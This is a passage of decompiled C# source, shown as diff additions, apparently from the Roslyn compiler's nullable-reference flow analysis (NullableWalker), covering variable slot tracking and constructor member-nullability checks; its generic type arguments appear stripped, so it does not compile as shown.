Variables variables = new Variables(snapshot.Id, container, snapshot.Symbol); + variables.Populate(snapshot); + return variables; + } + + private int GetNextId() + { + return Id + 1; + } + + private void Populate(VariablesSnapshot snapshot) + { + _variableBySlot.AddMany(default(LocalDataFlowPass.VariableIdentifier), snapshot.VariableSlot.Length); + ImmutableArray.VariableIdentifier, int>>.Enumerator enumerator = snapshot.VariableSlot.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair.VariableIdentifier, int> current = enumerator.Current; + LocalDataFlowPass.VariableIdentifier key = current.Key; + int value = current.Value; + ((Dictionary.VariableIdentifier, int>)(object)_variableSlot).Add(key, value); + _variableBySlot[value] = key; + } + foreach (KeyValuePair variableType in snapshot.VariableTypes) + { + ((Dictionary)(object)_variableTypes).Add(variableType.Key, variableType.Value); + } + } + + private Variables(int id, Variables? container, Symbol? symbol) + { + Id = id; + Container = container; + Symbol = symbol; + } + + internal void Free() + { + Container?.Free(); + _variableBySlot.Free(); + _variableTypes.Free(); + _variableSlot.Free(); + } + + internal VariablesSnapshot CreateSnapshot() + { + return new VariablesSnapshot(Id, Container?.CreateSnapshot(), Symbol, ImmutableArray.CreateRange((IEnumerable.VariableIdentifier, int>>)_variableSlot), ImmutableDictionary.CreateRange((IEnumerable>)_variableTypes)); + } + + internal Variables CreateNestedMethodScope(MethodSymbol method) + { + return new Variables(GetNextId(), this, method); + } + + internal int RootSlot(int slot) + { + while (true) + { + int containingSlot = this[slot].ContainingSlot; + if (containingSlot == 0) + { + break; + } + slot = containingSlot; + } + return slot; + } + + internal bool TryGetValue(VariableIdentifier identifier, out int slot) + { + return GetVariablesForVariable(identifier).TryGetValueInternal(identifier, out slot); + } + + private bool TryGetValueInternal(VariableIdentifier identifier, out int slot) + { + if (((Dictionary.VariableIdentifier, int>)(object)_variableSlot).TryGetValue(identifier, out int value)) + { + slot = ConstructSlot(Id, value); + return true; + } + slot = -1; + return false; + } + + internal int Add(VariableIdentifier identifier) + { + return GetVariablesForVariable(identifier).AddInternal(identifier); + } + + private int AddInternal(VariableIdentifier identifier) + { + if (getSlotDepth(identifier.ContainingSlot) >= 5) + { + return -1; + } + int nextAvailableIndex = NextAvailableIndex; + if (nextAvailableIndex > 65535) + { + return -1; + } + ((Dictionary.VariableIdentifier, int>)(object)_variableSlot).Add(identifier, nextAvailableIndex); + _variableBySlot.Add(identifier); + return ConstructSlot(Id, nextAvailableIndex); + int getSlotDepth(int slot) + { + int num = 0; + while (slot > 0) + { + num++; + int item = DeconstructSlot(slot).Index; + slot = _variableBySlot[item].ContainingSlot; + } + return num; + } + } + + internal bool TryGetType(Symbol symbol, out TypeWithAnnotations type) + { + return ((Dictionary)(object)GetVariablesContainingSymbol(symbol)._variableTypes).TryGetValue(symbol, out type); + } + + internal void SetType(Symbol symbol, TypeWithAnnotations type) + { + ((Dictionary)(object)GetVariablesContainingSymbol(symbol)._variableTypes)[symbol] = type; + } + + internal int GetTotalVariableCount() + { + return (Container?.GetTotalVariableCount() ?? 0) + ((Dictionary.VariableIdentifier, int>)(object)_variableSlot).Count; + } + + internal void GetMembers(ArrayBuilder<(VariableIdentifier, int)> builder, int containingSlot) + { + (int Id, int Index) tuple = DeconstructSlot(containingSlot); + int item = tuple.Id; + int item2 = tuple.Index; + ArrayBuilder.VariableIdentifier> variableBySlot = GetVariablesForId(item)._variableBySlot; + for (item2++; item2 < variableBySlot.Count; item2++) + { + LocalDataFlowPass.VariableIdentifier item3 = variableBySlot[item2]; + if (item3.ContainingSlot == containingSlot) + { + builder.Add((item3, ConstructSlot(item, item2))); + } + } + } + + private Variables GetVariablesForVariable(VariableIdentifier identifier) + { + int containingSlot = identifier.ContainingSlot; + if (containingSlot > 0) + { + return GetVariablesForId(DeconstructSlot(containingSlot).Id); + } + return GetVariablesContainingSymbol(identifier.Symbol); + } + + private Variables GetVariablesContainingSymbol(Symbol symbol) + { + if ((symbol is LocalSymbol || symbol is ParameterSymbol) && symbol.ContainingSymbol is MethodSymbol method) + { + Variables variablesForMethodScope = GetVariablesForMethodScope(method); + if (variablesForMethodScope != null) + { + return variablesForMethodScope; + } + } + return GetRootScope(); + } + + internal Variables GetRootScope() + { + Variables variables = this; + while (true) + { + Variables container = variables.Container; + if (container == null) + { + break; + } + variables = container; + } + return variables; + } + + private Variables? GetVariablesForId(int id) + { + Variables variables = this; + do + { + if (variables.Id == id) + { + return variables; + } + variables = variables.Container; + } + while (variables != null); + return null; + } + + internal Variables? GetVariablesForMethodScope(MethodSymbol method) + { + method = method.PartialImplementationPart ?? method; + Variables variables = this; + do + { + if ((object)method == variables.Symbol) + { + return variables; + } + variables = variables.Container; + } + while (variables != null); + return null; + } + + internal static int ConstructSlot(int id, int index) + { + if (index >= 0) + { + return (id << 16) | index; + } + return index; + } + + internal static (int Id, int Index) DeconstructSlot(int slot) + { + if (slot >= 0) + { + return (Id: (slot >> 16) & 0x7FFF, Index: slot & 0xFFFF); + } + return (Id: 0, Index: slot); + } + + private string GetDebuggerDisplay() + { + object arg = ((object)Symbol) ?? ((object)""); + return $"Id={Id}, Symbol={arg}, Count={((Dictionary.VariableIdentifier, int>)(object)_variableSlot).Count}"; + } + } + + private struct PossiblyConditionalState + { + public LocalState State; + + public LocalState StateWhenTrue; + + public LocalState StateWhenFalse; + + public bool IsConditionalState; + + public PossiblyConditionalState(LocalState stateWhenTrue, LocalState stateWhenFalse) + { + StateWhenTrue = stateWhenTrue.Clone(); + StateWhenFalse = stateWhenFalse.Clone(); + IsConditionalState = true; + State = default(LocalState); + } + + public PossiblyConditionalState(LocalState state) + { + StateWhenTrue = (StateWhenFalse = default(LocalState)); + IsConditionalState = false; + State = state.Clone(); + } + + public static PossiblyConditionalState Create(NullableWalker nullableWalker) + { + if (!nullableWalker.IsConditionalState) + { + return new PossiblyConditionalState(nullableWalker.State); + } + return new PossiblyConditionalState(nullableWalker.StateWhenTrue, nullableWalker.StateWhenFalse); + } + + public PossiblyConditionalState Clone() + { + if (!IsConditionalState) + { + return new PossiblyConditionalState(State); + } + return new PossiblyConditionalState(StateWhenTrue, StateWhenFalse); + } + } + + private Variables _variables; + + private readonly Binder _binder; + + private readonly Conversions _conversions; + + private readonly bool _useConstructorExitWarnings; + + private bool _useDelegateInvokeParameterTypes; + + private bool _useDelegateInvokeReturnType; + + private MethodSymbol? _delegateInvokeMethod; + + private ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)>? _returnTypesOpt; + + private static readonly TypeWithState _invalidType = TypeWithState.Create(new UnsupportedMetadataTypeSymbol(), NullableFlowState.NotNull); + + private readonly ImmutableDictionary.Builder? _analyzedNullabilityMapOpt; + + private readonly SnapshotManager.Builder? _snapshotBuilderOpt; + + private bool _disableNullabilityAnalysis; + + private PooledDictionary? _methodGroupReceiverMapOpt; + + private PooledDictionary? _resultForPlaceholdersOpt; + + private PooledDictionary? _nestedFunctionVariables; + + private PooledDictionary>? _targetTypedAnalysisCompletionOpt; + + private readonly bool _isSpeculative; + + private readonly bool _hasInitialState; + + private readonly MethodSymbol? _baseOrThisInitializer; + + private VisitResult _visitResult; + + private VisitResult _currentConditionalReceiverVisitResult; + + private PooledDictionary? _placeholderLocalsOpt; + + private bool _disableDiagnostics; + + private bool _expressionIsRead = true; + + private int _lastConditionalAccessSlot = -1; + + private PooledDictionary> TargetTypedAnalysisCompletion => _targetTypedAnalysisCompletionOpt ?? (_targetTypedAnalysisCompletionOpt = PooledDictionary>.GetInstance()); + + private TypeWithState ResultType => _visitResult.RValueType; + + private TypeWithAnnotations LvalueResultType => _visitResult.LValueType; + + private bool IsAnalyzingAttribute => methodMainNode.Kind == BoundKind.Attribute; + + public sealed override bool AwaitUsingAndForeachAddsPendingBranch => true; + + private void SetResultType(BoundExpression? expression, TypeWithState type, bool updateAnalyzedNullability = true) + { + SetResult(expression, type, type.ToTypeWithAnnotations(compilation), updateAnalyzedNullability); + } + + private void SetAnalyzedNullability(BoundExpression? expression, TypeWithState type) + { + SetAnalyzedNullability(expression, type, type.ToTypeWithAnnotations(compilation)); + } + + private void UseRvalueOnly(BoundExpression? expression) + { + SetResult(expression, ResultType, ResultType.ToTypeWithAnnotations(compilation), updateAnalyzedNullability: true, false); + } + + private void SetLvalueResultType(BoundExpression? expression, TypeWithAnnotations type) + { + SetResult(expression, type.ToTypeWithState(), type); + } + + private void UseLvalueOnly(BoundExpression? expression) + { + SetResult(expression, LvalueResultType.ToTypeWithState(), LvalueResultType, updateAnalyzedNullability: true, true); + } + + private void SetInvalidResult() + { + SetResult(null, _invalidType, _invalidType.ToTypeWithAnnotations(compilation), updateAnalyzedNullability: false); + } + + private void SetResult(BoundExpression? expression, TypeWithState resultType, TypeWithAnnotations lvalueType, bool updateAnalyzedNullability = true, bool? isLvalue = null) + { + _visitResult = new VisitResult(resultType, lvalueType); + if (updateAnalyzedNullability) + { + SetAnalyzedNullability(expression, _visitResult, isLvalue); + } + } + + private void SetAnalyzedNullability(BoundExpression? expression, TypeWithState resultType, TypeWithAnnotations lvalueType, bool? isLvalue = null) + { + SetAnalyzedNullability(expression, new VisitResult(resultType, lvalueType), isLvalue); + } + + private bool ShouldMakeNotNullRvalue(BoundExpression node) + { + if (!node.IsSuppressed && !node.HasAnyErrors) + { + return !IsReachable(); + } + return true; + } + + private void SetAnalyzedNullability(BoundExpression? expr, VisitResult result, bool? isLvalue = null) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + if (expr != null && !_disableNullabilityAnalysis && _analyzedNullabilityMapOpt != null) + { + ImmutableDictionary.Builder? analyzedNullabilityMapOpt = _analyzedNullabilityMapOpt; + NullabilityInfo item = new NullabilityInfo(result.LValueType.ToPublicAnnotation(), result.RValueType.State.ToPublicFlowState()); + TypeSymbol? type = expr.Type; + analyzedNullabilityMapOpt[expr] = (item, ((object)type != null && type.Equals(result.RValueType.Type, (TypeCompareKind)63)) ? result.RValueType.Type : expr.Type); + } + } + + protected override void Free() + { + _nestedFunctionVariables?.Free(); + _resultForPlaceholdersOpt?.Free(); + _methodGroupReceiverMapOpt?.Free(); + _placeholderLocalsOpt?.Free(); + _variables.Free(); + _targetTypedAnalysisCompletionOpt?.Free(); + base.Free(); + } + + private NullableWalker(CSharpCompilation compilation, Symbol? symbol, bool useConstructorExitWarnings, bool useDelegateInvokeParameterTypes, bool useDelegateInvokeReturnType, MethodSymbol? delegateInvokeMethodOpt, BoundNode node, Binder binder, Conversions conversions, Variables? variables, MethodSymbol? baseOrThisInitializer, ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)>? returnTypesOpt, ImmutableDictionary.Builder? analyzedNullabilityMapOpt, SnapshotManager.Builder? snapshotBuilderOpt, bool isSpeculative = false) + : base(compilation, symbol, node, EmptyStructTypeCache.CreatePrecise(), true) + { + _variables = variables ?? Variables.Create(symbol); + _binder = binder; + _conversions = conversions.WithNullability(includeNullability: true); + _useConstructorExitWarnings = useConstructorExitWarnings; + _useDelegateInvokeParameterTypes = useDelegateInvokeParameterTypes; + _useDelegateInvokeReturnType = useDelegateInvokeReturnType; + _delegateInvokeMethod = delegateInvokeMethodOpt; + _analyzedNullabilityMapOpt = analyzedNullabilityMapOpt; + _returnTypesOpt = returnTypesOpt; + _snapshotBuilderOpt = snapshotBuilderOpt; + _isSpeculative = isSpeculative; + _hasInitialState = variables != null; + _baseOrThisInitializer = baseOrThisInitializer; + } + + public string GetDebuggerDisplay() + { + if (IsConditionalState) + { + return "{" + GetType().Name + " WhenTrue:" + Dump(StateWhenTrue) + " WhenFalse:" + Dump(StateWhenFalse) + "}"; + } + return "{" + GetType().Name + " " + Dump(State) + "}"; + } + + protected override void EnsureSufficientExecutionStack(int recursionDepth) + { + if (recursionDepth > 20 && compilation.TestOnlyCompilationData is NullableAnalysisData { MaxRecursionDepth: var maxRecursionDepth } && maxRecursionDepth > 0 && recursionDepth > maxRecursionDepth) + { + throw new InsufficientExecutionStackException(); + } + base.EnsureSufficientExecutionStack(recursionDepth); + } + + protected override bool ConvertInsufficientExecutionStackExceptionToCancelledByStackGuardException() + { + return true; + } + + protected override bool TryGetVariable(VariableIdentifier identifier, out int slot) + { + return _variables.TryGetValue(identifier, out slot); + } + + protected override int AddVariable(VariableIdentifier identifier) + { + return _variables.Add(identifier); + } + + [Conditional("DEBUG")] + private void AssertNoPlaceholderReplacements() + { + _ = _resultForPlaceholdersOpt; + } + + private void AddPlaceholderReplacement(BoundValuePlaceholderBase placeholder, BoundExpression? expression, VisitResult result) + { + if (_resultForPlaceholdersOpt == null) + { + _resultForPlaceholdersOpt = PooledDictionary.GetInstance(); + } + ((Dictionary)(object)_resultForPlaceholdersOpt).Add(placeholder, (expression, result)); + } + + private void RemovePlaceholderReplacement(BoundValuePlaceholderBase placeholder) + { + ((Dictionary)(object)_resultForPlaceholdersOpt).Remove(placeholder); + } + + [Conditional("DEBUG")] + private static void AssertPlaceholderAllowedWithoutRegistration(BoundValuePlaceholderBase placeholder) + { + switch (placeholder.Kind) + { + case BoundKind.DeconstructValuePlaceholder: + case BoundKind.AwaitableValuePlaceholder: + case BoundKind.ObjectOrCollectionValuePlaceholder: + case BoundKind.ImplicitIndexerValuePlaceholder: + case BoundKind.InterpolatedStringHandlerPlaceholder: + case BoundKind.InterpolatedStringArgumentPlaceholder: + return; + } + throw ExceptionUtilities.UnexpectedValue((object)placeholder.Kind); + } + + protected override ImmutableArray Scan(ref bool badRegion) + { + if (_returnTypesOpt != null) + { + _returnTypesOpt.Clear(); + } + base.Diagnostics.Clear(); + regionPlace = RegionPlace.Before; + if (!_isSpeculative) + { + ParameterSymbol methodThisParameter = base.MethodThisParameter; + EnterParameters(); + if ((object)methodThisParameter != null) + { + EnterParameter(methodThisParameter, methodThisParameter.TypeWithAnnotations); + } + makeNotNullMembersMaybeNull(); + _snapshotBuilderOpt?.TakeIncrementalSnapshot(methodMainNode, State); + } + ImmutableArray.PendingBranch> result = base.Scan(ref badRegion); + MethodSymbol obj = _symbol as MethodSymbol; + if ((object)obj == null || !obj.IsConstructor() || _useConstructorExitWarnings) + { + EnforceDoesNotReturn(null); + enforceMemberNotNull(null, State); + EnforceParameterNotNullOnExit(null, State); + ImmutableArray.PendingBranch>.Enumerator enumerator = result.GetEnumerator(); + while (enumerator.MoveNext()) + { + AbstractFlowPass.PendingBranch current = enumerator.Current; + enforceMemberNotNull(current.Branch.Syntax, current.State); + if (current.Branch is BoundReturnStatement boundReturnStatement) + { + EnforceParameterNotNullOnExit(boundReturnStatement.Syntax, current.State); + EnforceNotNullWhenForPendingReturn(current, boundReturnStatement); + enforceMemberNotNullWhenForPendingReturn(current, boundReturnStatement); + } + } + } + return result; + void checkMemberStateOnConstructorExit(MethodSymbol constructor, Symbol member, LocalState state, int thisSlot, Location? exitLocation, ImmutableArray membersWithStateEnforcedByRequiredMembers, bool forcePropertyAnalysis) + { + //IL_0155: Unknown result type (might be due to invalid IL or missing references) + bool flag = !constructor.RequiresInstanceReceiver(); + if (member.IsStatic == flag && (!LocalDataFlowPass.HasInitializer(member) || !constructor.IncludeFieldInitializersInBody())) + { + FieldSymbol fieldSymbol2; + Symbol symbol; + TypeWithAnnotations typeWithAnnotations; + if (!(member is FieldSymbol fieldSymbol)) + { + if (!(member is EventSymbol eventSymbol)) + { + if (!(member is PropertySymbol propertySymbol) || !forcePropertyAnalysis) + { + return; + } + typeWithAnnotations = propertySymbol.TypeWithAnnotations; + fieldSymbol2 = null; + symbol = propertySymbol; + } + else + { + typeWithAnnotations = eventSymbol.TypeWithAnnotations; + fieldSymbol2 = eventSymbol.AssociatedField; + symbol = eventSymbol; + if ((object)fieldSymbol2 == null) + { + return; + } + } + } + else + { + typeWithAnnotations = fieldSymbol.TypeWithAnnotations; + fieldSymbol2 = fieldSymbol; + symbol = (Symbol)(((object)(fieldSymbol.AssociatedSymbol as PropertySymbol)) ?? ((object)fieldSymbol)); + } + if (((object)fieldSymbol2 == null || !fieldSymbol2.IsConst) && !typeWithAnnotations.Type.IsValueType && !typeWithAnnotations.Type.IsErrorType() && ((!symbol.IsRequired() && !membersWithStateEnforcedByRequiredMembers.Contains(symbol.Name)) || !constructor.ShouldCheckRequiredMembers())) + { + FlowAnalysisAnnotations flowAnalysisAnnotations = symbol.GetFlowAnalysisAnnotations(); + if ((flowAnalysisAnnotations & FlowAnalysisAnnotations.AllowNull) == 0) + { + typeWithAnnotations = ApplyUnconditionalAnnotations(typeWithAnnotations, flowAnalysisAnnotations); + if (typeWithAnnotations.NullableAnnotation.IsNotAnnotated()) + { + int orCreateSlot = GetOrCreateSlot(symbol, thisSlot); + if (orCreateSlot >= 0) + { + NullableFlowState state2 = GetState(ref state, orCreateSlot); + NullableFlowState nullableFlowState = ((!typeWithAnnotations.Type.IsPossiblyNullableReferenceTypeTypeParameter() || (flowAnalysisAnnotations & FlowAnalysisAnnotations.NotNull) != FlowAnalysisAnnotations.None) ? NullableFlowState.MaybeNull : NullableFlowState.MaybeDefault); + if ((int)state2 >= (int)nullableFlowState) + { + CSDiagnosticInfo info = new CSDiagnosticInfo(ErrorCode.WRN_UninitializedNonNullableField, new object[2] + { + symbol.Kind.Localize(), + symbol.Name + }, ImmutableArray.Empty, symbol.Locations); + base.Diagnostics.Add((DiagnosticInfo)(object)info, exitLocation ?? symbol.GetFirstLocationOrNone()); + } + } + } + } + } + } + } + void enforceMemberNotNull(SyntaxNode? syntaxOpt, LocalState state) + { + //IL_0152: Unknown result type (might be due to invalid IL or missing references) + //IL_0157: Unknown result type (might be due to invalid IL or missing references) + //IL_015b: Unknown result type (might be due to invalid IL or missing references) + //IL_0160: Unknown result type (might be due to invalid IL or missing references) + if (state.Reachable) + { + MethodSymbol methodSymbol = _symbol as MethodSymbol; + if ((object)methodSymbol != null) + { + if (methodSymbol.IsConstructor()) + { + int thisSlot = 0; + if (methodSymbol.RequiresInstanceReceiver) + { + methodSymbol.TryGetThisParameter(out var thisParameter); + thisSlot = GetOrCreateSlot(thisParameter); + } + Location exitLocation = (methodSymbol.DeclaringSyntaxReferences.IsEmpty ? null : methodSymbol.TryGetFirstLocation()); + bool flag = methodSymbol.ShouldCheckRequiredMembers(); + ImmutableArray membersWithStateEnforcedByRequiredMembers = (flag ? ImmutableArrayExtensions.SelectManyAsArray(methodSymbol.ContainingType.GetMembersUnordered(), (Func)((Symbol symbol2) => symbol2 is PropertySymbol propertySymbol && propertySymbol.IsRequired), (Func>)delegate(Symbol symbol2) + { + PropertySymbol propertySymbol = (PropertySymbol)symbol2; + return propertySymbol.SetMethod?.NotNullMembers ?? propertySymbol.NotNullMembers; + }) : ImmutableArray.Empty); + PooledHashSet instance = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator2 = methodSymbol.ContainingType.GetMembersUnordered().GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + bool forcePropertyAnalysis = !flag && !(current2 is SourcePropertySymbolBase { BackingField: not null }) && current2.IsRequired(); + checkMemberStateOnConstructorExit(methodSymbol, current2, state, thisSlot, exitLocation, membersWithStateEnforcedByRequiredMembers, forcePropertyAnalysis); + } + MethodSymbol? baseOrThisInitializer = GetBaseOrThisInitializer(); + if ((object)baseOrThisInitializer != null && baseOrThisInitializer.ShouldCheckRequiredMembers() && !flag) + { + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = methodSymbol.ContainingType.BaseTypeNoUseSiteDiagnostics; + if ((object)baseTypeNoUseSiteDiagnostics != null) + { + Enumerator enumerator3 = baseTypeNoUseSiteDiagnostics.AllRequiredMembers.GetEnumerator(); + try + { + string text = default(string); + Symbol symbol = default(Symbol); + while (enumerator3.MoveNext()) + { + KeyValuePairUtil.Deconstruct(enumerator3.Current, ref text, ref symbol); + Symbol member = symbol; + checkMemberStateOnConstructorExit(methodSymbol, member, state, thisSlot, exitLocation, ImmutableArray.Empty, forcePropertyAnalysis: true); + } + } + finally + { + ((IDisposable)enumerator3/*cast due to constrained. prefix*/).Dispose(); + } + } + } + instance.Free(); + } + else + { + do + { + ImmutableArray.Enumerator enumerator4 = methodSymbol.NotNullMembers.GetEnumerator(); + while (enumerator4.MoveNext()) + { + string current3 = enumerator4.Current; + enforceMemberNotNullOnMember(syntaxOpt, state, methodSymbol, current3); + } + methodSymbol = methodSymbol.OverriddenMethod; + } + while (methodSymbol != null); + } + } + } + } + void enforceMemberNotNullOnMember(SyntaxNode? syntaxOpt, LocalState state, MethodSymbol method, string memberName) + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator2 = method.ContainingType.GetMembers(memberName).GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + if (memberHasBadState(current2, state)) + { + DiagnosticBag diagnostics = base.Diagnostics; + object obj2 = ((syntaxOpt != null) ? syntaxOpt.GetLocation() : null); + if (obj2 == null) + { + SyntaxToken lastToken = methodMainNode.Syntax.GetLastToken(false, false, false, false); + obj2 = ((SyntaxToken)(ref lastToken)).GetLocation(); + } + diagnostics.Add(ErrorCode.WRN_MemberNotNull, (Location)obj2, current2.Name); + } + } + } + void enforceMemberNotNullWhen(SyntaxNode? syntaxOpt, bool sense, LocalState state) + { + if (_symbol is MethodSymbol methodSymbol) + { + ImmutableArray.Enumerator enumerator2 = (sense ? methodSymbol.NotNullWhenTrueMembers : methodSymbol.NotNullWhenFalseMembers).GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current2 = enumerator2.Current; + ImmutableArray.Enumerator enumerator3 = methodSymbol.ContainingType.GetMembers(current2).GetEnumerator(); + while (enumerator3.MoveNext()) + { + Symbol current3 = enumerator3.Current; + reportMemberIfBadConditionalState(syntaxOpt, sense, current3, state); + } + } + } + } + void enforceMemberNotNullWhenForPendingReturn(PendingBranch pendingReturn, BoundReturnStatement returnStatement) + { + if (pendingReturn.IsConditionalState) + { + BoundExpression expressionOpt = returnStatement.ExpressionOpt; + if (expressionOpt != null) + { + ConstantValue constantValueOpt = expressionOpt.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.IsBoolean) + { + bool booleanValue = constantValueOpt.BooleanValue; + enforceMemberNotNullWhen(returnStatement.Syntax, booleanValue, pendingReturn.State); + return; + } + } + if (pendingReturn.StateWhenTrue.Reachable && pendingReturn.StateWhenFalse.Reachable && _symbol is MethodSymbol { NotNullWhenTrueMembers: var notNullWhenTrueMembers } methodSymbol) + { + ImmutableArray.Enumerator enumerator2 = notNullWhenTrueMembers.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current2 = enumerator2.Current; + enforceMemberNotNullWhenIfAffected(returnStatement.Syntax, sense: true, methodSymbol.ContainingType.GetMembers(current2), pendingReturn.StateWhenTrue, pendingReturn.StateWhenFalse); + } + enumerator2 = methodSymbol.NotNullWhenFalseMembers.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current3 = enumerator2.Current; + enforceMemberNotNullWhenIfAffected(returnStatement.Syntax, sense: false, methodSymbol.ContainingType.GetMembers(current3), pendingReturn.StateWhenFalse, pendingReturn.StateWhenTrue); + } + } + } + else + { + BoundExpression expressionOpt = returnStatement.ExpressionOpt; + if (expressionOpt != null) + { + ConstantValue constantValueOpt = expressionOpt.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.IsBoolean) + { + bool booleanValue2 = constantValueOpt.BooleanValue; + enforceMemberNotNullWhen(returnStatement.Syntax, booleanValue2, pendingReturn.State); + } + } + } + } + void enforceMemberNotNullWhenIfAffected(SyntaxNode? syntaxOpt, bool sense, ImmutableArray members, LocalState state, LocalState otherState) + { + ImmutableArray.Enumerator enumerator2 = members.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + if (memberHasBadState(current2, state) != memberHasBadState(current2, otherState)) + { + reportMemberIfBadConditionalState(syntaxOpt, sense, current2, state); + } + } + } + static IEnumerable getAllMembersToBeDefaulted(Symbol requiredMember) + { + if (requiredMember is FieldSymbol) + { + yield return requiredMember; + } + else + { + PropertySymbol property = (PropertySymbol)requiredMember; + yield return getFieldSymbolToBeInitialized(property); + ImmutableArray.Enumerator enumerator2 = (property.SetMethod?.NotNullMembers ?? property.NotNullMembers).GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current2 = enumerator2.Current; + ImmutableArray.Enumerator enumerator3 = property.ContainingType.GetMembers(current2).GetEnumerator(); + while (enumerator3.MoveNext()) + { + Symbol current3 = enumerator3.Current; + yield return getFieldSymbolToBeInitialized(current3); + } + } + } + } + static ImmutableArray getAllTypeAndRequiredMembers(TypeSymbol containingType) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray membersUnordered = containingType.GetMembersUnordered(); + ImmutableSegmentedDictionary val = containingType.BaseTypeNoUseSiteDiagnostics?.AllRequiredMembers ?? ImmutableSegmentedDictionary.Empty; + if (val.IsEmpty) + { + return membersUnordered; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(membersUnordered.Length + val.Count); + instance.AddRange(membersUnordered); + Enumerator enumerator2 = val.GetEnumerator(); + try + { + string text = default(string); + Symbol symbol = default(Symbol); + while (enumerator2.MoveNext()) + { + KeyValuePairUtil.Deconstruct(enumerator2.Current, ref text, ref symbol); + Symbol requiredMember = symbol; + instance.AddRange(getAllMembersToBeDefaulted(requiredMember)); + } + } + finally + { + ((IDisposable)enumerator2/*cast due to constrained. prefix*/).Dispose(); + } + return instance.ToImmutableAndFree(); + } + static Symbol getFieldSymbolToBeInitialized(Symbol requiredMember) + { + if (!(requiredMember is SourcePropertySymbol { IsAutoPropertyWithGetAccessor: not false } sourcePropertySymbol)) + { + return requiredMember; + } + return sourcePropertySymbol.BackingField; + } + int getSlotForFieldOrPropertyOrEvent(Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + if ((int)member.Kind != 6 && (int)member.Kind != 15 && (int)member.Kind != 5) + { + return -1; + } + int num = 0; + if (!member.IsStatic) + { + if ((object)base.MethodThisParameter == null) + { + return -1; + } + num = GetOrCreateSlot(base.MethodThisParameter); + if (num < 0) + { + return -1; + } + } + return GetOrCreateSlot(member, num); + } + void makeMemberMaybeNull(MethodSymbol method, string memberName) + { + ImmutableArray.Enumerator enumerator2 = method.ContainingType.GetMembers(memberName).GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + int num = getSlotForFieldOrPropertyOrEvent(current2); + if (num > 0) + { + SetState(ref State, num, NullableFlowState.MaybeNull); + } + } + } + void makeMembersMaybeNull(MethodSymbol method, ImmutableArray members) + { + ImmutableArray.Enumerator enumerator2 = members.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current2 = enumerator2.Current; + makeMemberMaybeNull(method, current2); + } + } + void makeNotNullMembersMaybeNull() + { + Symbol symbol = _symbol; + MethodSymbol method = symbol as MethodSymbol; + if ((object)method != null) + { + if (method.IsConstructor()) + { + ImmutableArray.Enumerator enumerator2 = getMembersNeedingDefaultInitialState().GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + if (current2.IsStatic == method.IsStatic) + { + Symbol symbol2 = current2; + if (current2 is PropertySymbol propertySymbol) + { + if (!propertySymbol.IsRequired) + { + continue; + } + } + else if (current2 is FieldSymbol fieldSymbol) + { + if (fieldSymbol.OriginalDefinition is SynthesizedPrimaryConstructorParameterBackingFieldSymbol || fieldSymbol.IsConst) + { + continue; + } + if (fieldSymbol.AssociatedSymbol is PropertySymbol propertySymbol2) + { + if (IsPropertyOutputMoreStrictThanInput(propertySymbol2)) + { + continue; + } + symbol2 = propertySymbol2; + } + } + int num = getSlotForFieldOrPropertyOrEvent(symbol2); + if (num > 0) + { + TypeWithAnnotations typeOrReturnType = symbol2.GetTypeOrReturnType(); + if (!typeOrReturnType.NullableAnnotation.IsOblivious()) + { + SetState(ref State, num, (!typeOrReturnType.Type.IsPossiblyNullableReferenceTypeTypeParameter()) ? NullableFlowState.MaybeNull : NullableFlowState.MaybeDefault); + } + } + } + } + } + else + { + do + { + makeMembersMaybeNull(method, method.NotNullMembers); + makeMembersMaybeNull(method, method.NotNullWhenTrueMembers); + makeMembersMaybeNull(method, method.NotNullWhenFalseMembers); + method = method.OverriddenMethod; + } + while (method != null); + } + } + ImmutableArray getMembersNeedingDefaultInitialState() + { + if (_hasInitialState) + { + return ImmutableArray.Empty; + } + bool includeCurrentTypeRequiredMembers = true; + bool flag = true; + bool flag2 = false; + if (method is SourceMemberMethodSymbol { SyntaxNode: ConstructorDeclarationSyntax syntaxNode }) + { + ConstructorInitializerSyntax initializer = syntaxNode.Initializer; + if (initializer != null) + { + int rawKind = ((SyntaxNode)initializer).RawKind; + flag = GetBaseOrThisInitializer()?.ShouldCheckRequiredMembers() ?? true; + switch (rawKind) + { + case 8890: + flag2 = true; + includeCurrentTypeRequiredMembers = flag; + break; + case 8889: + includeCurrentTypeRequiredMembers = true; + break; + } + } + } + if (!flag2 && (!method.ContainingType.IsValueType || method.IsStatic || compilation.IsFeatureEnabled(MessageID.IDS_FeatureAutoDefaultStructs))) + { + return membersToBeInitialized(method.ContainingType, includeAllMembers: true, 